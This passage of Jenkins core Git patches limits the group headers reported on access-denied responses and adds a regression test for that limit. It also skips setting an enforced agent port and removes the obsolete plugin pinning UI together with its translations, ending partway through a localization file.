+++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -79,7 +79,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr * @since 2.24 * @return true if the slave agent port is enforced on this instance. */ - @Restricted(DoNotUse.class) // only for index.groovy + @Restricted(NoExternalUse.class) // only for index.groovy public boolean isSlaveAgentPortEnforced() { return Jenkins.getInstance().isSlaveAgentPortEnforced(); } @@ -114,10 +114,12 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr j.setDisableRememberMe(security.optBoolean("disableRememberMe", false)); j.setSecurityRealm(SecurityRealm.all().newInstanceFromRadioList(security, "realm")); j.setAuthorizationStrategy(AuthorizationStrategy.all().newInstanceFromRadioList(security, "authorization")); - try { - j.setSlaveAgentPort(new ServerTcpPort(security.getJSONObject("slaveAgentPort")).getPort()); - } catch (IOException e) { - throw new hudson.model.Descriptor.FormException(e, "slaveAgentPortType"); + if (!isSlaveAgentPortEnforced()) { + try { + j.setSlaveAgentPort(new ServerTcpPort(security.getJSONObject("slaveAgentPort")).getPort()); + } catch (IOException e) { + throw new hudson.model.Descriptor.FormException(e, "slaveAgentPortType"); + } } Set agentProtocols = new TreeSet<>(); if (security.has("agentProtocol")) { -- GitLab From d6f7e4101f055e14009bc4407b508fe5457e69c0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 16:17:53 -0500 Subject: [PATCH 749/811] [FIXED JENKINS-39402] Cap the number of group headers printed by AccessDeniedException2. --- .../security/AccessDeniedException2.java | 13 +++- .../security/AccessDeniedException2Test.java | 73 +++++++++++++++++++ 2 files changed, 84 insertions(+), 2 deletions(-) create mode 100644 test/src/test/java/hudson/security/AccessDeniedException2Test.java diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 0f5da052b2..70d119602b 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -12,6 +12,9 @@ import java.io.PrintWriter; * @author Kohsuke Kawaguchi */ public class AccessDeniedException2 extends AccessDeniedException { + + private static final int MAX_REPORTED_AUTHORITIES = 10; + /** * This object represents the user being authenticated. */ @@ -38,8 +41,14 @@ public class AccessDeniedException2 extends AccessDeniedException { */ public void reportAsHeaders(HttpServletResponse rsp) { rsp.addHeader("X-You-Are-Authenticated-As",authentication.getName()); - for (GrantedAuthority auth : authentication.getAuthorities()) { - rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); + GrantedAuthority[] authorities = authentication.getAuthorities(); + for (int i = 0; i < authorities.length; i++) { + if (i == MAX_REPORTED_AUTHORITIES) { + rsp.addHeader("X-You-Are-In-Group", "<" + (authorities.length - i) + " more>"); + break; + } else { + rsp.addHeader("X-You-Are-In-Group", authorities[i].getAuthority()); + } } rsp.addHeader("X-Required-Permission", permission.getId()); for (Permission p=permission.impliedBy; p!=null; p=p.impliedBy) { diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java new file mode 100644 index 0000000000..7ccf1c83d5 --- /dev/null +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -0,0 +1,73 @@ +/* + * The MIT License + * + * Copyright 2017 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package hudson.security; + +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import com.gargoylesoftware.htmlunit.util.NameValuePair; +import java.net.HttpURLConnection; +import java.util.ArrayList; +import java.util.List; +import org.hamcrest.Matchers; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; + +public class AccessDeniedException2Test { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Issue("JENKINS-39402") + @Test + public void youAreInGroupHeaders() throws Exception { + JenkinsRule.DummySecurityRealm realm = r.createDummySecurityRealm(); + String[] groups = new String[1000]; + for (int i = 0; i < groups.length; i++) { + groups[i] = "group" + i; + } + realm.addGroups("user", groups); + r.jenkins.setSecurityRealm(realm); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); + try { + r.createWebClient().login("user").goTo("confgure"); + fail("should not have been allowed to access anything"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); + List reportedGroups = new ArrayList<>(); + for (NameValuePair header : x.getResponse().getResponseHeaders()) { + if (header.getName().equals("X-You-Are-In-Group")) { + reportedGroups.add(header.getValue()); + } + } + assertThat("capped at a reasonable number", reportedGroups, Matchers.>allOf( + Matchers.hasSize(11), // 10 groups plus final warning + Matchers.hasItem("<991 more>"))); // 1000 + SecurityRealm.AUTHENTICATED_AUTHORITY.getAuthority() - 10 + } + } + +} -- GitLab From 7457318b2c52a0c478e376cbb02f34b603c2173f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 17:28:05 -0500 Subject: [PATCH 750/811] [FIXED JENKINS-34065] Deleting obsolete pinning UI. --- .../hudson/PluginManager/installed.jelly | 19 ------------------- .../hudson/PluginManager/installed.properties | 3 +-- .../PluginManager/installed_bg.properties | 3 --- .../PluginManager/installed_cs.properties | 2 -- .../PluginManager/installed_da.properties | 3 --- .../PluginManager/installed_de.properties | 3 --- .../PluginManager/installed_es.properties | 3 --- .../PluginManager/installed_fi.properties | 2 -- .../PluginManager/installed_fr.properties | 3 --- .../PluginManager/installed_hu.properties | 1 - .../PluginManager/installed_it.properties | 3 --- .../PluginManager/installed_ja.properties | 3 --- .../PluginManager/installed_ko.properties | 3 --- .../PluginManager/installed_lv.properties | 3 --- .../PluginManager/installed_nl.properties | 3 --- .../PluginManager/installed_pl.properties | 2 -- .../PluginManager/installed_pt_BR.properties | 3 --- .../PluginManager/installed_pt_PT.properties | 2 -- .../PluginManager/installed_ro.properties | 3 --- .../PluginManager/installed_ru.properties | 3 --- .../PluginManager/installed_sk.properties | 1 - .../PluginManager/installed_sr.properties | 3 --- .../PluginManager/installed_uk.properties | 3 --- .../PluginManager/installed_zh_CN.properties | 3 --- .../PluginManager/installed_zh_TW.properties | 3 --- .../jenkins/model/Jenkins/systemInfo.jelly | 2 -- .../model/Jenkins/systemInfo_bg.properties | 1 - .../model/Jenkins/systemInfo_de.properties | 1 - .../model/Jenkins/systemInfo_el.properties | 1 - .../model/Jenkins/systemInfo_es.properties | 1 - .../model/Jenkins/systemInfo_fr.properties | 1 - .../model/Jenkins/systemInfo_it.properties | 1 - .../model/Jenkins/systemInfo_ja.properties | 1 - .../model/Jenkins/systemInfo_ko.properties | 1 - .../model/Jenkins/systemInfo_lt.properties | 1 - .../model/Jenkins/systemInfo_lv.properties | 1 - .../model/Jenkins/systemInfo_pl.properties | 1 - .../model/Jenkins/systemInfo_pt_BR.properties | 1 - .../model/Jenkins/systemInfo_ru.properties | 1 - .../model/Jenkins/systemInfo_sr.properties | 1 - .../model/Jenkins/systemInfo_sv_SE.properties | 1 - .../model/Jenkins/systemInfo_uk.properties | 1 - .../model/Jenkins/systemInfo_zh_CN.properties | 1 - .../model/Jenkins/systemInfo_zh_TW.properties | 1 - 44 files changed, 1 insertion(+), 102 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 22ff5f7419..490e70f154 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -64,7 +64,6 @@ THE SOFTWARE. ${%Name} ${%Version} ${%Previously installed version} - ${%Pinned} ${%Uninstall} @@ -113,12 +112,6 @@ THE SOFTWARE. - - - - - - @@ -204,18 +197,6 @@ THE SOFTWARE. } updateMsg(); // set the initial state - - function unpin(button,shortName) { - new Ajax.Request("./plugin/"+shortName+"/unpin", { - method: "POST", - onFailure : function(t) { - alert('Failed to unpin:'+t.responseText); - }, - onSuccess : function(t) { - $('unpin-'+shortName).innerHTML = ""; - } - }); - } diff --git a/core/src/main/resources/hudson/PluginManager/installed.properties b/core/src/main/resources/hudson/PluginManager/installed.properties index 2fa0cafb80..0c1b07c427 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.properties +++ b/core/src/main/resources/hudson/PluginManager/installed.properties @@ -19,6 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins downgradeTo=Downgrade to {0} -requires.restart=This Jenkins instance requires a restart. Changing the state of plugins at this time is strongly discouraged. Restart Jenkins before proceeding. \ No newline at end of file +requires.restart=This Jenkins instance requires a restart. Changing the state of plugins at this time is strongly discouraged. Restart Jenkins before proceeding. diff --git a/core/src/main/resources/hudson/PluginManager/installed_bg.properties b/core/src/main/resources/hudson/PluginManager/installed_bg.properties index c950862a63..eb32e7b3ce 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_bg.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_bg.properties @@ -26,7 +26,6 @@ Enabled=\ \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d Name=\ \u0418\u043c\u0435 -Pinned=\ \u0424\u0438\u043a\u0441\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Previously\ installed\ version=\ \u041f\u0440\u0435\u0434\u0438\u0448\u043d\u043e \u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f @@ -36,7 +35,6 @@ Uncheck\ to\ disable\ the\ plugin=\ \u041c\u0430\u0445\u043d\u0435\u0442\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0430\u0442\u0430 \u0437\u0430 \u0437\u0430\u0431\u0440\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430\u0442\u0430 Uninstall=\ \u0414\u0435\u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0435 -Unpin=\ \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Version=\ \u0412\u0435\u0440\u0441\u0438\u044f @@ -62,7 +60,6 @@ This\ plugin\ cannot\ be\ enabled=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0432\u043a\u043b\u044e\u0447\u0438 Filter=\ \u0424\u0438\u043b\u0442\u0440\u0438\u0440\u0430\u043d\u0435 -wiki.url=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u043a\u043b\u044e\u0447\u0438 requires.restart=\ \u0422\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u0442\u0435 Jenkins, \u043f\u0440\u0435\u0434\u0438 \u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435 \u043f\u043e\u0432\u0435\u0447\u0435 \u043f\u0440\u043e\u043c\u0435\u043d\u0438 \u043f\u043e\ diff --git a/core/src/main/resources/hudson/PluginManager/installed_cs.properties b/core/src/main/resources/hudson/PluginManager/installed_cs.properties index 21847ed21d..9fb56abb6a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_cs.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_cs.properties @@ -3,11 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Zm\u011Bny se projev\u00ED a\u017E po restartu Jenkinse Enabled=Povolen\u00E9 Name=Jm\u00E9no -Pinned=Preferovat Previously\ installed\ version=P\u0159edchoz\u00ED nainstalovan\u00E1 verze Restart\ Once\ No\ Jobs\ Are\ Running=Restartovat a\u017E po dokon\u010Den\u00ED v\u0161ech \u00FAloh. Uncheck\ to\ disable\ the\ plugin=Od\u0161krtnout pro deaktivaci modulu Uninstall=Odinstalovat Version=Verze downgradeTo=Vr\u00E1tit se k {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_da.properties b/core/src/main/resources/hudson/PluginManager/installed_da.properties index 4086d2a08a..9e17d01892 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_da.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_da.properties @@ -21,15 +21,12 @@ # THE SOFTWARE. Version=Version -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Restart\ Once\ No\ Jobs\ Are\ Running=Genstart n\u00e5r ingen jobs k\u00f8rer Previously\ installed\ version=Forudg\u00e5ende installerede version New\ plugins\ will\ take\ effect\ once\ you\ restart\ Jenkins=Nye plugins tr\u00e6der i kraft efter du har genstartet Jenkins Uncheck\ to\ disable\ the\ plugin=Fjern flueben for at sl\u00e5 plugin''et fra No\ plugins\ installed.=Ingen installerede plugins. downgradeTo=Nedgrader til {0} -Pinned=L\u00e5st Name=Navn Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u00c6ndringer tr\u00e6der i kraft efter Jenkins er genstartet Enabled=Sl\u00e5et til -Unpin=L\u00e5s op diff --git a/core/src/main/resources/hudson/PluginManager/installed_de.properties b/core/src/main/resources/hudson/PluginManager/installed_de.properties index 3653a5c9e8..e8cef970fe 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_de.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_de.properties @@ -29,9 +29,6 @@ Version=Version Restart\ Once\ No\ Jobs\ Are\ Running=Neu starten, sobald keine Jobs mehr laufen. Previously\ installed\ version=Vorher installierte Version downgradeTo={0} wiederherstellen -Pinned=Gesperrt -Unpin=Entsperren -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstall=Deinstallieren Uninstallation\ pending=Zur Deinstallation vorgemerkt Update\ Center=Update-Center diff --git a/core/src/main/resources/hudson/PluginManager/installed_es.properties b/core/src/main/resources/hudson/PluginManager/installed_es.properties index 70956f31d1..34f849e78d 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_es.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_es.properties @@ -27,10 +27,7 @@ Name=Nombre Version=Versin Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Los cambios no estarn disponibles hasta que Jenkins se reinicie Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar cuando no haya tareas en ejecucin -wiki.url="http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins" downgradeTo=Bajar a la version {0}. Previously\ installed\ version=Versin previamente instalada. -Pinned=marcado Uninstall=Desinstalar -Unpin=desmarcar Update\ Center=Centro de actualizaciones diff --git a/core/src/main/resources/hudson/PluginManager/installed_fi.properties b/core/src/main/resources/hudson/PluginManager/installed_fi.properties index c04443e10d..209c8d6e2d 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_fi.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_fi.properties @@ -23,10 +23,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Muutokset astuvat voimaan kun Jenkins k\u00E4ynnistet\u00E4\u00E4n Enabled=Aktivoitu Name=Nimi -Pinned=Lukittu Previously\ installed\ version=Aiemmin asennettu versio Restart\ Once\ No\ Jobs\ Are\ Running=K\u00E4ynnist\u00E4 heti kun k\u00E4\u00E4nn\u00F6ksi\u00E4 ei ole ajossa Uncheck\ to\ disable\ the\ plugin=Poist ruudun rasti poistaaksesi liit\u00E4nn\u00E4inen k\u00E4yt\u00F6st\u00E4 -Unpin=Vapauta lukitus Version=Versio downgradeTo=Palaa versioon {0} diff --git a/core/src/main/resources/hudson/PluginManager/installed_fr.properties b/core/src/main/resources/hudson/PluginManager/installed_fr.properties index fde1e85e1c..b3767a6e65 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_fr.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_fr.properties @@ -28,9 +28,6 @@ Uncheck\ to\ disable\ the\ plugin=D\u00e9cochez pour d\u00e9sactiver le plugin Enabled=Activ\u00e9 Name=Nom Uninstall=D\u00E9sinstaller -Unpin=Annuler \u00E9pingler Version=Version -Pinned=\u00C9pingl\u00E9 Previously\ installed\ version=Version pr\u00E9c\u00E9dente downgradeTo=R\u00E9trograder \u00E0 {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_hu.properties b/core/src/main/resources/hudson/PluginManager/installed_hu.properties index 01d83570d0..a71aafe356 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_hu.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_hu.properties @@ -28,4 +28,3 @@ Restart\ Once\ No\ Jobs\ Are\ Running=\u00DAjraind\u00EDt\u00E1s ha m\u00E1r nin Uncheck\ to\ disable\ the\ plugin=T\u00F6r\u00F6lje a jel\u00F6l\u00E9st a be\u00E9p\u00FCl\u0151 kikapcsol\u00E1s\u00E1hoz Version=Verzi\u00F3 downgradeTo=Visszafriss\u00EDt\u00E9s {0} verzi\u00F3ra -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_it.properties b/core/src/main/resources/hudson/PluginManager/installed_it.properties index 0c30e7269d..2be147af2a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_it.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_it.properties @@ -23,12 +23,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Le modifiche avranno effetto quando riavvierai Jenkins Enabled=Attivo Name=Nome -Pinned=Bloccato Previously\ installed\ version=Versione precedente Restart\ Once\ No\ Jobs\ Are\ Running=Riavvia quando non ci sono lavori in esecuzione Uncheck\ to\ disable\ the\ plugin=Deseleziona per disattivare il plugin Uninstall=Disintalla -Unpin=Sblocca Version=Versione downgradeTo=Retrocedi a -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ja.properties b/core/src/main/resources/hudson/PluginManager/installed_ja.properties index cca9a2797f..8e9aaf1ef6 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ja.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ja.properties @@ -27,9 +27,6 @@ Enabled=\u6709\u52b9\u5316 Name=\u540d\u524d Version=\u30d0\u30fc\u30b8\u30e7\u30f3 Restart\ Once\ No\ Jobs\ Are\ Running=\u30b8\u30e7\u30d6\u304c\u5b9f\u884c\u4e2d\u3067\u306a\u3051\u308c\u3070\u518d\u8d77\u52d5 -Pinned=\u30d4\u30f3 -Unpin=\u89e3\u9664 -wiki.url=http://wiki.jenkins-ci.org/display/JA/Pinned+Plugins Previously\ installed\ version=\u524d\u56de\u30d0\u30fc\u30b8\u30e7\u30f3 downgradeTo={0} \u306b\u30c0\u30a6\u30f3\u30b0\u30ec\u30fc\u30c9 Update\ Center=\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u30bb\u30f3\u30bf\u30fc diff --git a/core/src/main/resources/hudson/PluginManager/installed_ko.properties b/core/src/main/resources/hudson/PluginManager/installed_ko.properties index 7a6397fbf4..1d745838f4 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ko.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ko.properties @@ -23,13 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Jenkins\uC744 \uC7AC\uC2DC\uC791\uD558\uBA74 \uBCC0\uACBD\uC0AC\uD56D\uC774 \uC801\uC6A9\uB429\uB2C8\uB2E4. Enabled=\uC0AC\uC6A9\uAC00\uB2A5 Name=\uC774\uB984 -Pinned=\uACE0\uC815\uB428 Previously\ installed\ version=\uC774\uC804 \uC124\uCE58 \uBC84\uC804 Restart\ Once\ No\ Jobs\ Are\ Running=\uB3D9\uC791\uC911\uC778 \uC791\uC5C5\uC774 \uC5C6\uC73C\uBA74 \uD55C\uBC88 \uC7AC\uAE30\uB3D9\uD569\uB2C8\uB2E4. Uncheck\ to\ disable\ the\ plugin=\uC0AC\uC6A9\uBD88\uAC00 \uD50C\uB7EC\uADF8\uC778 \uCCB4\uD06C\uD574\uC81C Uninstall=\uC124\uCE58 \uC81C\uAC70 Uninstallation\ pending=\uC0AD\uC81C \uB300\uAE30 -Unpin=\uACE0\uC815 \uD574\uC81C Version=\uBC84\uC804 downgradeTo={0}\uC73C\uB85C \uB2E4\uC6B4\uADF8\uB808\uC774\uB4DC -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_lv.properties b/core/src/main/resources/hudson/PluginManager/installed_lv.properties index 27b7271b2c..6539b07429 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_lv.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_lv.properties @@ -3,11 +3,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Izmai\u0146as st\u0101sies sp\u0113k\u0101 p\u0113c Jenkins p\u0101rstart\u0113\u0161anas Enabled=Iespejots Name=Nosaukums -Pinned=Piesaist\u012Bts Previously\ installed\ version=Iepriek\u0161 instal\u0113t\u0101 versija Restart\ Once\ No\ Jobs\ Are\ Running=P\u0101rstart\u0113 tikl\u012Bdz neviens uzdevums nestr\u0101d\u0101 Uncheck\ to\ disable\ the\ plugin=At\u0137eks\u0113 lai atsp\u0113jotu spraudni Uninstall=Atinstal\u0113t -Unpin=Atsiet Version=Versija -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_nl.properties b/core/src/main/resources/hudson/PluginManager/installed_nl.properties index 78c5ea2861..aa7cc81894 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_nl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_nl.properties @@ -27,10 +27,7 @@ Restart\ Once\ No\ Jobs\ Are\ Running=Opnieuw starten Uncheck\ to\ disable\ the\ plugin=Vink aan om de plugin te de-activeren. Enabled=Actief Name=Naam -Unpin=Losmaken Version=Versie -Pinned=Vastgezet Previously\ installed\ version=Vorige ge\u00EFnstalleerde versie Restart\ Now=Nu herstarten downgradeTo=Versie {0} terugzetten -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_pl.properties b/core/src/main/resources/hudson/PluginManager/installed_pl.properties index 9fd5654ff2..882151920a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pl.properties @@ -23,12 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Zmiany zostan\u0105 wprowadzone po ponownym uruchomieniu Jenkinsa Enabled=W\u0142\u0105czone wtyczki Name=Nazwa -Pinned=Przypi\u0119ta Previously\ installed\ version=Poprzednia zainstalowana wersja Restart\ Once\ No\ Jobs\ Are\ Running=Uruchom ponownie gdy \u017Cadne zadania nie s\u0105 wykonywane Uncheck\ to\ disable\ the\ plugin=Odznacz aby wy\u0142\u0105czy\u0107 wtyczk\u0119 Uninstall=Odinstaluj -Unpin=Odepnij Version=Wersja downgradeTo=Powr\u00F3\u0107 do starszej wersji {0} requires.restart=Wymagane jest ponowne uruchomienie Jenkinsa. Zmiany wtyczek w tym momencie s\u0105 bardzo niewskazane. Uruchom ponownie Jenkinsa, zanim wprowadzisz zmiany. diff --git a/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties b/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties index 492b30e39c..543c634fa8 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties @@ -24,15 +24,12 @@ No\ plugins\ installed.=Nenhum plugin instalado. Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=A mudan\u00e7as ter\u00e3o efeito quando o Jenkins for reiniciado Uncheck\ to\ disable\ the\ plugin=Desmarque para desativar o plugin Enabled=Habilitar -Pinned=Fixado Previously\ installed\ version=Vers\u00E3o anterior instalada Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar assim que nenhum job estiver rodando Uninstall=Desinstalar -Unpin=Desprender Version=Vers\u00e3o Name=Nome downgradeTo=Regredir para {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Filter=Filtro Update\ Center=Central de atualiza\u00e7\u00e3o No\ description\ available.=Nenhuma descri\u00e7\u00e3o dispon\u00edvel diff --git a/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties b/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties index 32259b92ec..e4464f4900 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties @@ -3,11 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=As altera\u00E7\u00F5es ser\u00E3o aplicadas quando reiniciares o Jenkins Enabled=Ativado Name=Nome -Pinned=Fixo Previously\ installed\ version=\u00DAltima vers\u00E3o instalada Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar quando n\u00E3o estiverem Jobs em execu\u00E7\u00E3o Uncheck\ to\ disable\ the\ plugin=Seleccione para desactivar o plugin Uninstall=Desinstalar Version=Vers\u00E3o downgradeTo=Downgrade para {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ro.properties b/core/src/main/resources/hudson/PluginManager/installed_ro.properties index 9d960272ae..a0fc137d09 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ro.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ro.properties @@ -3,11 +3,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Schimb\u0103rile vor avea efect c\u00E2nd ve\u021Bi reporni Jenkins Enabled=Activat Name=Denumire -Pinned=Fixat Previously\ installed\ version=Versiunea instalat\u0103 anterior Restart\ Once\ No\ Jobs\ Are\ Running=Reporne\u0219te odat\u0103 ce nu mai sunt joburi ce ruleaz\u0103 Uncheck\ to\ disable\ the\ plugin=Debifa\u021Bi pentru a dezactiva pluginul -Unpin=Defixeaz\u0103 Version=Versiune downgradeTo=Retrogradeaz\u0103 la -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ru.properties b/core/src/main/resources/hudson/PluginManager/installed_ru.properties index 8fd3ed2033..02ece96267 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ru.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ru.properties @@ -23,13 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0441\u0442\u0443\u043f\u044f\u0442 \u0432 \u0441\u0438\u043b\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Jenkins Enabled=\u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0439 Name=\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 -Pinned=\u041f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0435 Previously\ installed\ version=\u0420\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Restart\ Once\ No\ Jobs\ Are\ Running=\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0445 \u0437\u0430\u0434\u0430\u0447 Uncheck\ to\ disable\ the\ plugin=\u0421\u043d\u0438\u043c\u0438\u0442\u0435 \u0444\u043b\u0430\u0436\u043e\u043a, \u0447\u0442\u043e\u0431\u044b 